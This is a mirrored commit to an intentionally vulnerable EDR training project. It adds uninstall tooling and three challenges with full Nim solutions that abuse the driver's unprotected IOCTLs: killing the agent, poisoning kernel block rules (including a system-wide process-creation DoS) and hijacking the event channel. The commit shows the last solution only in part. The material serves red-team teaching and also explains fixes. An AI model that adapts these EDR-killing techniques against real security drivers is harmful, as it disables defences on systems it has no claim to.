mirror of
https://github.com/BenjiTrapp/MostShittyEDR
synced 2026-08-09 12:00:52 +00:00
Challenge from last night
This commit is contained in:
@@ -1,5 +1,5 @@
|
||||
.PHONY: build clean install-deps run run-verbose run-safe run-driver help \
|
||||
test test-nim test-driver-logic test-driver-ioctl
|
||||
test test-nim test-driver-logic test-driver-ioctl uninstall
|
||||
|
||||
NIM ?= nim
|
||||
NIMBLE ?= nimble
|
||||
@@ -19,6 +19,7 @@ help:
|
||||
@echo " make run-verbose - Build and run with verbose output"
|
||||
@echo " make run-safe - Build and run in detection-only mode"
|
||||
@echo " make run-driver - Build and run with kernel driver (requires Admin)"
|
||||
@echo " make uninstall - Uninstall agent + driver (requires Admin)"
|
||||
@echo " make clean - Remove build artifacts"
|
||||
@echo " make test - Run all unit tests (Nim + driver logic)"
|
||||
@echo " make test-nim - Run Nim agent unit tests"
|
||||
@@ -54,6 +55,10 @@ clean:
|
||||
rm -rf nimcache/
|
||||
rm -rf src/nimcache/
|
||||
|
||||
uninstall:
|
||||
@echo "Uninstalling agent + driver..."
|
||||
powershell -ExecutionPolicy Bypass -File uninstall.ps1 -Force
|
||||
|
||||
test: test-nim test-driver-logic
|
||||
|
||||
test-nim: install-deps
|
||||
|
||||
@@ -24,7 +24,7 @@
|
||||
|
||||
## Overview
|
||||
|
||||
**MostShittyEDR** is a deliberately weak EDR agent designed for **security research**, **education**, and **red team training**. It implements detection methods that mirror real-world EDR engines but with intentional weaknesses mapped to **39 bypass challenges** across **10 categories**.
|
||||
**MostShittyEDR** is a deliberately weak EDR agent designed for **security research**, **education**, and **red team training**. It implements detection methods that mirror real-world EDR engines but with intentional weaknesses mapped to **42 bypass challenges** across **11 categories**.
|
||||
|
||||
The project has two operating modes:
|
||||
- **User-mode** (default) — polls processes via Toolhelp32 snapshots
|
||||
@@ -186,8 +186,14 @@ sc.exe start MostShittyEDR
|
||||
# 3. Run the agent with --driver
|
||||
.\edr_agent.exe --driver --verbose
|
||||
|
||||
# Uninstall
|
||||
# Uninstall driver only
|
||||
.\install_driver.ps1 -Uninstall
|
||||
|
||||
# Uninstall everything (agent + driver)
|
||||
.\uninstall.ps1
|
||||
|
||||
# Uninstall everything + remove build artifacts
|
||||
.\uninstall.ps1 -Clean
|
||||
```
|
||||
|
||||
### User-mode vs Kernel-mode
|
||||
@@ -221,6 +227,8 @@ sc.exe start MostShittyEDR
|
||||
- :unlock: ETW session has hardcoded name, patchable `EtwEventWrite`
|
||||
- :unlock: PE analysis has no entropy check, strict parser crashes on corrupted headers
|
||||
- :unlock: Polling-based monitoring has timing gaps (without `--driver`)
|
||||
- :unlock: Driver device has no access control — any process can send IOCTLs
|
||||
- :unlock: Single-slot event delivery is monopolizable (DoS)
|
||||
|
||||
### Challenge Categories
|
||||
|
||||
@@ -236,8 +244,9 @@ sc.exe start MostShittyEDR
|
||||
| **Signature Bypass** | 29-32 | Easy-Hard | Rule 6 |
|
||||
| **Packer & PE Evasion** | 33-36 | Medium-Hard | Rule 9 |
|
||||
| **BYOVD / Kernel Attacks** | 37-39 | Hard | Kernel Driver |
|
||||
| **IOCTL Abuse** | 40-42 | Medium | Kernel Driver |
|
||||
|
||||
**39 challenges** with full solutions at the [Challenge Browser](https://benjitrapp.github.io/MostShittyEDR/challenges/).
|
||||
**42 challenges** with full solutions at the [Challenge Browser](https://benjitrapp.github.io/MostShittyEDR/challenges/).
|
||||
|
||||
---
|
||||
|
||||
@@ -318,9 +327,10 @@ MostShittyEDR/
|
||||
├── profiles/ # Real EDR hook profiles
|
||||
├── signatures/
|
||||
│ └── malware_hashes.txt # SHA256 signature database
|
||||
├── _challenges/ # 39 bypass challenges
|
||||
├── _challenges/ # 42 bypass challenges
|
||||
├── _solutions/ # Detailed solution walkthroughs
|
||||
├── install_driver.ps1 # Driver install/uninstall script
|
||||
├── uninstall.ps1 # Full uninstall (agent + driver + cleanup)
|
||||
├── Makefile # Build automation
|
||||
└── MostShittyEDR.nimble # Nim package config
|
||||
```
|
||||
|
||||
@@ -0,0 +1,44 @@
|
||||
---
|
||||
title: "Challenge 40: IOCTL Hijack — Kill via EDR's Own Driver"
|
||||
difficulty: medium
|
||||
category: "IOCTL Abuse"
|
||||
---
|
||||
|
||||
# Challenge 40: IOCTL Hijack — Kill via EDR's Own Driver
|
||||
|
||||
**Difficulty:** Medium | **Category:** IOCTL Abuse | **Target:** Driver Device
|
||||
|
||||
## Objective
|
||||
|
||||
Open the MostShittyEDR driver's device and use its own `IOCTL_KILL_PROCESS` to terminate the EDR agent — no vulnerable third-party driver needed.
|
||||
|
||||
## Background
|
||||
|
||||
The MostShittyEDR kernel driver exposes its device at `\\.\MostShittyEDR` without any access control. The `DispatchCreateClose` handler always returns `STATUS_SUCCESS` — any process on the system can open the device. Once opened, all 5 IOCTLs are accessible, including `IOCTL_KILL_PROCESS` (`0x222004`), which calls `ZwTerminateProcess` from ring 0.
|
||||
|
||||
This means the EDR's own driver is a weaponizable IOCTL interface: instead of bringing your own vulnerable driver (BYOVD), you abuse the one the EDR already loaded.
|
||||
|
||||
## Weakness Exploited
|
||||
|
||||
1. **No DACL on the device object**: `IoCreateDevice` is called without setting a security descriptor — the default grants access to any local user
|
||||
2. **No caller validation**: `DispatchCreateClose` doesn't check the calling process (PID, signature, integrity level)
|
||||
3. **`FILE_ANY_ACCESS` on destructive IOCTLs**: `IOCTL_KILL_PROCESS` uses `FILE_ANY_ACCESS` instead of `FILE_WRITE_ACCESS`
|
||||
4. **No PID validation**: The kill handler doesn't prevent terminating critical processes (PID 4, csrss.exe, the agent itself)
|
||||
5. **`IoCreateDevice` with `Exclusive = FALSE`**: Multiple processes can open the device simultaneously
|
||||
|
||||
## Hints
|
||||
|
||||
1. The device symlink is `\\.\MostShittyEDR` — open it with `CreateFileA`
|
||||
2. `IOCTL_KILL_PROCESS` is `0x222004` with `METHOD_BUFFERED`
|
||||
3. The input buffer is an `EDR_COMMAND` struct: `{ Action: ULONG = 1, ProcessId: ULONG64 }`
|
||||
4. Find the agent PID via `CreateToolhelp32Snapshot` / `Process32First`
|
||||
5. You don't even need Administrator — the device has no access restrictions
|
||||
6. Bonus: after killing the agent, use `IOCTL_CLEAR_BLOCK_RULES` (`0x22200C`) to remove all kernel block rules
|
||||
|
||||
## Success Criteria
|
||||
|
||||
- The `edr_agent.exe` process is terminated using the EDR's own driver IOCTL
|
||||
- No external driver is loaded — only `\\.\MostShittyEDR` is used
|
||||
- The attack works from a standard (non-elevated) user context
|
||||
|
||||
[View Solution]({{ '/solutions/40-ioctl-hijack-kill/' | relative_url }})
|
||||
@@ -0,0 +1,44 @@
|
||||
---
|
||||
title: "Challenge 41: Block Rule Poisoning"
|
||||
difficulty: medium
|
||||
category: "IOCTL Abuse"
|
||||
---
|
||||
|
||||
# Challenge 41: Block Rule Poisoning
|
||||
|
||||
**Difficulty:** Medium | **Category:** IOCTL Abuse | **Target:** Block Rule Table
|
||||
|
||||
## Objective
|
||||
|
||||
Use the driver's own `IOCTL_ADD_BLOCK_RULE` to inject a rule that blocks the EDR agent itself from restarting — weaponizing the kernel's process-deny mechanism against the EDR.
|
||||
|
||||
## Background
|
||||
|
||||
The MostShittyEDR driver maintains a kernel-level block rule table (up to 64 entries). When `ProcessCallback` fires for a new process, it checks every rule — if a rule matches the image name suffix and command-line substring, `CreationStatus` is set to `STATUS_ACCESS_DENIED` and the process never starts.
|
||||
|
||||
The `IOCTL_ADD_BLOCK_RULE` (`0x222008`) allows pushing new rules. Since the device has no access control, an attacker can push rules that block anything — including the EDR agent itself or critical system processes.
|
||||
|
||||
## Weakness Exploited
|
||||
|
||||
1. **No authentication on `ADD_BLOCK_RULE`**: Any process can push block rules to the kernel
|
||||
2. **No rule validation**: The driver doesn't check if a rule would block its own agent or system-critical processes
|
||||
3. **Rules survive agent death**: After killing the agent (Challenge 40), poisoned rules remain in the kernel — the agent can never restart
|
||||
4. **No duplicate detection**: The same rule can be pushed 64 times, filling all slots
|
||||
5. **Combined with `CLEAR_BLOCK_RULES`**: The attacker can first clear legitimate rules, then push malicious ones
|
||||
|
||||
## Hints
|
||||
|
||||
1. Open `\\.\MostShittyEDR` and send `IOCTL_ADD_BLOCK_RULE` (`0x222008`)
|
||||
2. The input buffer is a `BLOCK_RULE_ENTRY` struct: `{ ImageSuffix: WCHAR[260], CmdLineSubstr: WCHAR[512] }`
|
||||
3. Set `ImageSuffix = "edr_agent.exe"` and `CmdLineSubstr = ""` (empty = wildcard) to block the agent
|
||||
4. The kernel denies process creation at callback time — the agent binary never executes
|
||||
5. For maximum damage: first `IOCTL_CLEAR_BLOCK_RULES` to remove legitimate rules, then push poisoned rules, then `IOCTL_KILL_PROCESS` to kill the running agent
|
||||
6. Bonus: push a rule with `ImageSuffix = ""` and `CmdLineSubstr = ""` — both wildcards match everything, blocking ALL processes on the system (careful: this is a DoS)
|
||||
|
||||
## Success Criteria
|
||||
|
||||
- A block rule targeting `edr_agent.exe` is pushed to the kernel
|
||||
- After killing the agent, attempting to restart it fails with "Access Denied"
|
||||
- The block persists until the driver is unloaded or `CLEAR_BLOCK_RULES` is called
|
||||
|
||||
[View Solution]({{ '/solutions/41-block-rule-poisoning/' | relative_url }})
|
||||
@@ -0,0 +1,45 @@
|
||||
---
|
||||
title: "Challenge 42: Event Channel DoS"
|
||||
difficulty: medium
|
||||
category: "IOCTL Abuse"
|
||||
---
|
||||
|
||||
# Challenge 42: Event Channel DoS
|
||||
|
||||
**Difficulty:** Medium | **Category:** IOCTL Abuse | **Target:** Event Delivery
|
||||
|
||||
## Objective
|
||||
|
||||
Monopolize the driver's single-slot event delivery mechanism so the legitimate EDR agent receives no events — blinding it without killing it or removing callbacks.
|
||||
|
||||
## Background
|
||||
|
||||
The MostShittyEDR driver uses a **single pending IRP** design for event delivery. When the agent sends `IOCTL_WAIT_FOR_EVENT` (`0x222000`), the IRP is pended in `g_State.PendingIrp`. When a kernel callback fires, the event is copied into the pending IRP and completed. If no IRP is pending, events are queued in memory.
|
||||
|
||||
The critical weakness: only ONE IRP can be pending at a time. If a second `WAIT_FOR_EVENT` arrives while one is already pending, the driver returns `STATUS_DEVICE_BUSY`. An attacker who opens the device first and sends `WAIT_FOR_EVENT` before the agent does will **monopolize the event channel** — the agent gets `STATUS_DEVICE_BUSY` on every poll and sees nothing.
|
||||
|
||||
## Weakness Exploited
|
||||
|
||||
1. **Single PendingIrp slot**: Only one consumer can receive events at a time
|
||||
2. **No caller identity check**: The driver doesn't verify that the waiting IRP comes from the agent
|
||||
3. **First-come-first-served**: Whoever sends `WAIT_FOR_EVENT` first wins the slot
|
||||
4. **No session binding**: The driver doesn't bind to a specific caller on `IRP_MJ_CREATE`
|
||||
5. **Events flow to the attacker**: The attacker's process receives all kernel events (process/thread creation, LSASS access) — a free telemetry wiretap
|
||||
|
||||
## Hints
|
||||
|
||||
1. Open `\\.\MostShittyEDR` with `FILE_FLAG_OVERLAPPED` for async I/O
|
||||
2. Send `IOCTL_WAIT_FOR_EVENT` (`0x222000`) with an `EDR_EVENT`-sized output buffer (1581 bytes)
|
||||
3. When the IRP completes (event received), immediately send another `WAIT_FOR_EVENT` to re-occupy the slot
|
||||
4. The agent's `runDriverLoop` will get `ERROR_BUSY` (`werBusy`) on every attempt
|
||||
5. You're now receiving all kernel events yourself — you can read what the EDR would see
|
||||
6. Bonus: combine with `IOCTL_CLEAR_BLOCK_RULES` — now the kernel doesn't block anything AND the agent sees nothing
|
||||
|
||||
## Success Criteria
|
||||
|
||||
- The agent is running in `--driver` mode but receives `STATUS_DEVICE_BUSY` on every poll
|
||||
- The agent's output shows no `[CREATE]`, `[EXIT]`, or `[THREAD+]` events
|
||||
- The attacker's tool receives all kernel events in real-time
|
||||
- The agent process stays alive but is completely blind
|
||||
|
||||
[View Solution]({{ '/solutions/42-event-channel-dos/' | relative_url }})
|
||||
@@ -0,0 +1,124 @@
|
||||
---
|
||||
title: "Solution 40: IOCTL Hijack — Kill via EDR's Own Driver"
|
||||
difficulty: medium
|
||||
category: "IOCTL Abuse"
|
||||
---
|
||||
|
||||
[Back to Challenge]({{ '/challenges/40-ioctl-hijack-kill/' | relative_url }})
|
||||
|
||||
## Overview
|
||||
|
||||
The MostShittyEDR driver's device (`\\.\MostShittyEDR`) has zero access control — any process can open it and invoke all IOCTLs, including `IOCTL_KILL_PROCESS` which calls `ZwTerminateProcess` from ring 0. This turns the EDR's own driver into a BYOVD weapon without needing any external vulnerable driver.
|
||||
|
||||
## Solution
|
||||
|
||||
```nim
|
||||
# ioctl_hijack.nim - kill the EDR agent using its own driver
|
||||
import winim/lean
|
||||
|
||||
const
|
||||
DEVICE_PATH = r"\\.\MostShittyEDR"
|
||||
IOCTL_KILL_PROCESS = 0x222004'u32
|
||||
IOCTL_CLEAR_RULES = 0x22200C'u32
|
||||
|
||||
type
|
||||
EdrCommand {.packed.} = object
|
||||
action: uint32
|
||||
processId: uint64
|
||||
|
||||
proc findPid(name: string): DWORD =
|
||||
let snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
|
||||
if snap == INVALID_HANDLE_VALUE: return 0
|
||||
defer: CloseHandle(snap)
|
||||
|
||||
var pe: PROCESSENTRY32
|
||||
pe.dwSize = DWORD(sizeof(PROCESSENTRY32))
|
||||
if Process32First(snap, &pe) != 0:
|
||||
while true:
|
||||
let exe = $cast[cstring](addr pe.szExeFile[0])
|
||||
if exe.toLowerAscii() == name.toLowerAscii():
|
||||
return pe.th32ProcessID
|
||||
if Process32Next(snap, &pe) == 0: break
|
||||
return 0
|
||||
|
||||
when isMainModule:
|
||||
# Step 1: Open the EDR's own device — no admin required
|
||||
let hDevice = CreateFileA(DEVICE_PATH,
|
||||
GENERIC_READ or GENERIC_WRITE,
|
||||
0, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0)
|
||||
|
||||
if hDevice == INVALID_HANDLE_VALUE:
|
||||
echo "[-] Cannot open device (driver not loaded?)"
|
||||
quit(1)
|
||||
defer: CloseHandle(hDevice)
|
||||
echo "[+] Opened \\\\.\\ MostShittyEDR device"
|
||||
|
||||
# Step 2: Find the agent PID
|
||||
let pid = findPid("edr_agent.exe")
|
||||
if pid == 0:
|
||||
echo "[-] edr_agent.exe not found"
|
||||
quit(1)
|
||||
echo "[+] Agent PID: ", pid
|
||||
|
||||
# Step 3: Kill the agent via its own driver's IOCTL
|
||||
var cmd = EdrCommand(action: 1, processId: uint64(pid))
|
||||
var bytesReturned: DWORD
|
||||
let ok = DeviceIoControl(hDevice, IOCTL_KILL_PROCESS,
|
||||
&cmd, DWORD(sizeof(cmd)), nil, 0, &bytesReturned, nil)
|
||||
|
||||
if ok != 0:
|
||||
echo "[+] Agent killed via its own driver's ZwTerminateProcess"
|
||||
else:
|
||||
echo "[-] Kill IOCTL failed: ", GetLastError()
|
||||
quit(1)
|
||||
|
||||
# Step 4: Clear all block rules so malware can run freely
|
||||
discard DeviceIoControl(hDevice, IOCTL_CLEAR_RULES,
|
||||
nil, 0, nil, 0, &bytesReturned, nil)
|
||||
echo "[+] All kernel block rules cleared"
|
||||
echo "[+] EDR is dead, protections removed — operate freely"
|
||||
```
|
||||
|
||||
## Why It Works
|
||||
|
||||
The vulnerability chain is:
|
||||
|
||||
1. **`IoCreateDevice` with no security descriptor** ([driver.cpp:882-884](../../src/driver/driver.cpp)): The device inherits the default DACL, which allows local users to open it.
|
||||
|
||||
2. **`DispatchCreateClose` always succeeds** ([driver.cpp:762-769](../../src/driver/driver.cpp)): No process identity check, no integrity level check, no signature validation.
|
||||
|
||||
3. **`FILE_ANY_ACCESS` on all IOCTLs** ([driver.cpp:59-72](../../src/driver/driver.cpp)): Even a handle opened with only `GENERIC_READ` can send destructive IOCTLs.
|
||||
|
||||
4. **`HandleKillProcess` validates only `Action == 1`** ([driver.cpp:567](../../src/driver/driver.cpp)): No check whether the target PID is the agent, a system process, or if the caller is authorized.
|
||||
|
||||
A production EDR would fix this with:
|
||||
- A restrictive DACL on the device object (only the agent's SID)
|
||||
- Caller verification via `IoGetRequestorProcessId` or PID binding on `IRP_MJ_CREATE`
|
||||
- `FILE_WRITE_ACCESS` on destructive IOCTLs
|
||||
- PID whitelist preventing self-kill
|
||||
|
||||
## Attack Chain
|
||||
|
||||
```
|
||||
1. CreateFileA("\\.\MostShittyEDR") — succeeds without admin
|
||||
2. Find edr_agent.exe PID via Toolhelp32
|
||||
3. DeviceIoControl(IOCTL_KILL_PROCESS, {Action=1, PID=target})
|
||||
4. Agent is dead — ZwTerminateProcess from ring 0
|
||||
5. DeviceIoControl(IOCTL_CLEAR_BLOCK_RULES) — remove all protections
|
||||
6. Operate freely — callbacks still fire but nobody reads them
|
||||
```
|
||||
|
||||
## Real-World Comparison
|
||||
|
||||
This is the same class of vulnerability that made real EDR drivers exploitable in the wild:
|
||||
- **Avast aswArPot.sys** — exposed a kill-process IOCTL that the Avos Locker ransomware abused
|
||||
- **Zemana AntiMalware** — `zam64.sys` exposed similar unprotected IOCTLs
|
||||
|
||||
Modern EDRs protect against this by running their agent as PPL and restricting device access to the agent's exact process signature.
|
||||
|
||||
## How to Verify
|
||||
|
||||
1. Start the EDR: `.\edr_agent.exe --driver --verbose`
|
||||
2. In another terminal, compile and run: `nim c -r ioctl_hijack.nim`
|
||||
3. The agent disappears — verify with `tasklist /fi "imagename eq edr_agent.exe"`
|
||||
4. The driver is still loaded but orphaned — events are enqueued with nobody to read them
|
||||
@@ -0,0 +1,149 @@
|
||||
---
|
||||
title: "Solution 41: Block Rule Poisoning"
|
||||
difficulty: medium
|
||||
category: "IOCTL Abuse"
|
||||
---
|
||||
|
||||
[Back to Challenge]({{ '/challenges/41-block-rule-poisoning/' | relative_url }})
|
||||
|
||||
## Overview
|
||||
|
||||
The driver's `IOCTL_ADD_BLOCK_RULE` accepts rules from any caller. A poisoned rule targeting `edr_agent.exe` causes the kernel to deny the agent's process creation at callback time — the agent can never restart. Combined with `IOCTL_KILL_PROCESS`, this is a permanent EDR takedown that survives until driver unload.
|
||||
|
||||
## Solution
|
||||
|
||||
```nim
|
||||
# rule_poison.nim - block the EDR agent from ever restarting
|
||||
import winim/lean
|
||||
|
||||
const
|
||||
DEVICE_PATH = r"\\.\MostShittyEDR"
|
||||
IOCTL_KILL_PROCESS = 0x222004'u32
|
||||
IOCTL_ADD_BLOCK_RULE = 0x222008'u32
|
||||
IOCTL_CLEAR_RULES = 0x22200C'u32
|
||||
|
||||
type
|
||||
EdrCommand {.packed.} = object
|
||||
action: uint32
|
||||
processId: uint64
|
||||
|
||||
BlockRuleEntry {.packed.} = object
|
||||
imageSuffix: array[260, WCHAR]
|
||||
cmdLineSubstr: array[512, WCHAR]
|
||||
|
||||
proc toWcharArray(dst: var openArray[WCHAR], src: string) =
|
||||
for i, c in src:
|
||||
if i >= dst.len - 1: break
|
||||
dst[i] = WCHAR(ord(c))
|
||||
dst[min(src.len, dst.len - 1)] = WCHAR(0)
|
||||
|
||||
proc findPid(name: string): DWORD =
|
||||
let snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
|
||||
if snap == INVALID_HANDLE_VALUE: return 0
|
||||
defer: CloseHandle(snap)
|
||||
var pe: PROCESSENTRY32
|
||||
pe.dwSize = DWORD(sizeof(PROCESSENTRY32))
|
||||
if Process32First(snap, &pe) != 0:
|
||||
while true:
|
||||
let exe = $cast[cstring](addr pe.szExeFile[0])
|
||||
if exe.toLowerAscii() == name.toLowerAscii():
|
||||
return pe.th32ProcessID
|
||||
if Process32Next(snap, &pe) == 0: break
|
||||
return 0
|
||||
|
||||
when isMainModule:
|
||||
let hDevice = CreateFileA(DEVICE_PATH,
|
||||
GENERIC_READ or GENERIC_WRITE,
|
||||
0, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0)
|
||||
if hDevice == INVALID_HANDLE_VALUE:
|
||||
echo "[-] Cannot open device"
|
||||
quit(1)
|
||||
defer: CloseHandle(hDevice)
|
||||
|
||||
var bytesReturned: DWORD
|
||||
|
||||
# Step 1: Clear all legitimate block rules
|
||||
echo "[*] Clearing existing block rules..."
|
||||
discard DeviceIoControl(hDevice, IOCTL_CLEAR_RULES,
|
||||
nil, 0, nil, 0, &bytesReturned, nil)
|
||||
echo "[+] All legitimate rules removed"
|
||||
|
||||
# Step 2: Push poison rule — block edr_agent.exe
|
||||
echo "[*] Pushing poison rule: block edr_agent.exe..."
|
||||
var rule: BlockRuleEntry
|
||||
rule.imageSuffix.toWcharArray("edr_agent.exe")
|
||||
# cmdLineSubstr left empty = wildcard (matches everything)
|
||||
|
||||
let ok = DeviceIoControl(hDevice, IOCTL_ADD_BLOCK_RULE,
|
||||
&rule, DWORD(sizeof(rule)), nil, 0, &bytesReturned, nil)
|
||||
if ok != 0:
|
||||
echo "[+] Poison rule active in kernel"
|
||||
else:
|
||||
echo "[-] Failed to add rule"
|
||||
quit(1)
|
||||
|
||||
# Step 3: Kill the running agent
|
||||
let pid = findPid("edr_agent.exe")
|
||||
if pid != 0:
|
||||
echo "[*] Killing agent PID ", pid, "..."
|
||||
var cmd = EdrCommand(action: 1, processId: uint64(pid))
|
||||
discard DeviceIoControl(hDevice, IOCTL_KILL_PROCESS,
|
||||
&cmd, DWORD(sizeof(cmd)), nil, 0, &bytesReturned, nil)
|
||||
echo "[+] Agent killed"
|
||||
else:
|
||||
echo "[*] Agent not running (already dead?)"
|
||||
|
||||
echo ""
|
||||
echo "[+] EDR agent is permanently blocked from restarting"
|
||||
echo " The kernel will deny creation of edr_agent.exe"
|
||||
echo " until the driver is unloaded or rules are cleared"
|
||||
```
|
||||
|
||||
## Advanced: System-Wide DoS
|
||||
|
||||
A rule with both fields empty acts as a double-wildcard — it matches **every** process:
|
||||
|
||||
```nim
|
||||
# WARNING: This blocks ALL process creation on the system
|
||||
var dosRule: BlockRuleEntry
|
||||
# imageSuffix[0] = 0 (already zero-initialized = wildcard)
|
||||
# cmdLineSubstr[0] = 0 (already zero-initialized = wildcard)
|
||||
discard DeviceIoControl(hDevice, IOCTL_ADD_BLOCK_RULE,
|
||||
&dosRule, DWORD(sizeof(dosRule)), nil, 0, &bytesReturned, nil)
|
||||
# Now no process can start — only a reboot or driver unload fixes this
|
||||
```
|
||||
|
||||
## Why It Works
|
||||
|
||||
The `HandleAddBlockRule` handler ([driver.cpp:584-616](../../src/driver/driver.cpp)) has three critical gaps:
|
||||
|
||||
1. **No caller validation**: Any process can add rules — not just the agent
|
||||
2. **No rule content validation**: The driver doesn't check if a rule targets its own agent, system-critical processes (`csrss.exe`, `smss.exe`), or uses double-wildcards
|
||||
3. **Rules survive agent death**: Block rules live in the kernel's `g_BlockRules` table, which persists until `IOCTL_CLEAR_BLOCK_RULES` or driver unload
|
||||
|
||||
The `ProcessCallback` ([driver.cpp:428-473](../../src/driver/driver.cpp)) evaluates rules synchronously at process creation. When the poisoned rule matches `edr_agent.exe`, `CreationStatus` is set to `STATUS_ACCESS_DENIED` — Windows reports "Access Denied" to whoever tried to start the agent.
|
||||
|
||||
A production EDR would fix this with:
|
||||
- Reserved rule slots that cannot be overwritten by IOCTL
|
||||
- A hardcoded self-exclusion in `MatchBlockRule` (never block the agent's own image)
|
||||
- Authenticated rule management (signed rule payloads or caller PID verification)
|
||||
- Rate limiting on rule additions
|
||||
|
||||
## Attack Chain
|
||||
|
||||
```
|
||||
1. Open \\.\MostShittyEDR
|
||||
2. IOCTL_CLEAR_BLOCK_RULES — remove legitimate protections
|
||||
3. IOCTL_ADD_BLOCK_RULE — push rule blocking edr_agent.exe
|
||||
4. IOCTL_KILL_PROCESS — kill the running agent
|
||||
5. Agent is dead and can never restart
|
||||
6. All malware runs unchecked — callbacks fire but nobody reads events
|
||||
```
|
||||
|
||||
## How to Verify
|
||||
|
||||
1. Start the EDR: `.\edr_agent.exe --driver --verbose`
|
||||
2. Run the poison tool — agent dies
|
||||
3. Try to restart: `.\edr_agent.exe --driver --verbose` — "Access Denied"
|
||||
4. The kernel `DbgPrint` output shows: `[MostShittyEDR-BLOCK] Blocked PID xxx via rule 0`
|
||||
5. To restore: run a tool that sends `IOCTL_CLEAR_BLOCK_RULES`, then restart the agent
|
||||
@@ -0,0 +1,161 @@
|
||||
---
|
||||
title: "Solution 42: Event Channel DoS"
|
||||
difficulty: medium
|
||||
category: "IOCTL Abuse"
|
||||
---
|
||||
|
||||
[Back to Challenge]({{ '/challenges/42-event-channel-dos/' | relative_url }})
|
||||
|
||||
## Overview
|
||||
|
||||
The driver's event delivery uses a single `PendingIrp` slot. An attacker who continuously occupies this slot with their own `IOCTL_WAIT_FOR_EVENT` requests starves the legitimate agent — it gets `STATUS_DEVICE_BUSY` on every poll and sees nothing. The agent stays alive but is completely deaf, while the attacker receives all kernel events as a free telemetry wiretap.
|
||||
|
||||
## Solution
|
||||
|
||||
```nim
|
||||
# event_dos.nim - monopolize the EDR's event channel
|
||||
import winim/lean
|
||||
import os
|
||||
|
||||
const
|
||||
DEVICE_PATH = r"\\.\MostShittyEDR"
|
||||
IOCTL_WAIT_FOR_EVENT = 0x222000'u32
|
||||
IOCTL_CLEAR_RULES = 0x22200C'u32
|
||||
|
||||
EVENT_PROCESS_CREATE = 1'u32
|
||||
EVENT_PROCESS_EXIT = 2'u32
|
||||
EVENT_THREAD_CREATE = 3'u32
|
||||
EVENT_LSASS_ACCESS = 5'u32
|
||||
|
||||
type
|
||||
EdrEvent {.packed.} = object
|
||||
eventType: uint32
|
||||
timestamp: int64
|
||||
processId: uint64
|
||||
threadId: uint64
|
||||
parentProcessId: uint64
|
||||
blocked: byte
|
||||
imageFileName: array[260, WCHAR]
|
||||
commandLine: array[512, WCHAR]
|
||||
|
||||
proc wcharToString(arr: openArray[WCHAR]): string =
|
||||
result = ""
|
||||
for c in arr:
|
||||
if c == WCHAR(0): break
|
||||
result.add(char(c))
|
||||
|
||||
when isMainModule:
|
||||
echo "[*] Event Channel DoS — monopolizing the EDR's event pipe"
|
||||
echo ""
|
||||
|
||||
# Open the device with overlapped I/O for async event waiting
|
||||
let hDevice = CreateFileA(DEVICE_PATH,
|
||||
GENERIC_READ or GENERIC_WRITE,
|
||||
0, nil, OPEN_EXISTING,
|
||||
FILE_ATTRIBUTE_NORMAL or FILE_FLAG_OVERLAPPED, 0)
|
||||
if hDevice == INVALID_HANDLE_VALUE:
|
||||
echo "[-] Cannot open device"
|
||||
quit(1)
|
||||
echo "[+] Device opened — agent will get STATUS_DEVICE_BUSY"
|
||||
|
||||
# Clear block rules so nothing is blocked at kernel level
|
||||
var br: DWORD
|
||||
discard DeviceIoControl(hDevice, IOCTL_CLEAR_RULES,
|
||||
nil, 0, nil, 0, &br, nil)
|
||||
echo "[+] Block rules cleared"
|
||||
echo "[*] Listening for kernel events (agent is blind)..."
|
||||
echo ""
|
||||
|
||||
let hEvent = CreateEventA(nil, TRUE, FALSE, nil)
|
||||
var eventCount = 0
|
||||
|
||||
# Continuous loop — grab events before the agent can
|
||||
while true:
|
||||
var ev: EdrEvent
|
||||
var overlapped: OVERLAPPED
|
||||
overlapped.hEvent = hEvent
|
||||
ResetEvent(hEvent)
|
||||
|
||||
let ok = DeviceIoControl(hDevice, IOCTL_WAIT_FOR_EVENT,
|
||||
nil, 0, &ev, DWORD(sizeof(ev)), &br, &overlapped)
|
||||
|
||||
if ok == 0 and GetLastError() == ERROR_IO_PENDING:
|
||||
# Wait for the next kernel event
|
||||
WaitForSingleObject(hEvent, INFINITE)
|
||||
discard GetOverlappedResult(hDevice, &overlapped, &br, FALSE)
|
||||
|
||||
if br >= DWORD(sizeof(EdrEvent)):
|
||||
inc eventCount
|
||||
let img = ev.imageFileName.wcharToString()
|
||||
|
||||
case ev.eventType
|
||||
of EVENT_PROCESS_CREATE:
|
||||
let cmd = ev.commandLine.wcharToString()
|
||||
echo "[STOLEN #", eventCount, "] Process CREATE PID=",
|
||||
ev.processId, " PPID=", ev.parentProcessId,
|
||||
" Image=", img
|
||||
if cmd.len > 0:
|
||||
echo " CmdLine: ", cmd[0 .. min(79, cmd.len-1)]
|
||||
of EVENT_PROCESS_EXIT:
|
||||
echo "[STOLEN #", eventCount, "] Process EXIT PID=",
|
||||
ev.processId
|
||||
of EVENT_THREAD_CREATE:
|
||||
echo "[STOLEN #", eventCount, "] Thread+ PID=",
|
||||
ev.processId, " TID=", ev.threadId
|
||||
of EVENT_LSASS_ACCESS:
|
||||
echo "[STOLEN #", eventCount, "] LSASS ACCESS PID=",
|
||||
ev.processId, " BLOCKED=", ev.blocked
|
||||
else:
|
||||
echo "[STOLEN #", eventCount, "] Event type=",
|
||||
ev.eventType, " PID=", ev.processId
|
||||
```
|
||||
|
||||
## Why It Works
|
||||
|
||||
The `HandleWaitForEvent` handler ([driver.cpp:689-752](../../src/driver/driver.cpp)) enforces a single-consumer model:
|
||||
|
||||
```
|
||||
if (g_State.PendingIrp != NULL) {
|
||||
// Already occupied — reject
|
||||
return STATUS_DEVICE_BUSY;
|
||||
}
|
||||
```
|
||||
|
||||
The flow:
|
||||
1. Attacker sends `WAIT_FOR_EVENT` → IRP is pended in `g_State.PendingIrp`
|
||||
2. Agent sends `WAIT_FOR_EVENT` → gets `STATUS_DEVICE_BUSY` (the slot is taken)
|
||||
3. When a kernel callback fires, `EnqueueEvent` completes the attacker's IRP with the event data
|
||||
4. The attacker immediately sends another `WAIT_FOR_EVENT` → re-occupies the slot
|
||||
5. The agent never gets a slot — it's permanently starved
|
||||
|
||||
This is a **race-free DoS** because:
|
||||
- The attacker's IRP completes and gets re-submitted faster than the agent's poll loop
|
||||
- The agent's `driverWaitForEvent` gets `werBusy` and sleeps 100ms before retrying — the attacker re-occupies the slot during that sleep
|
||||
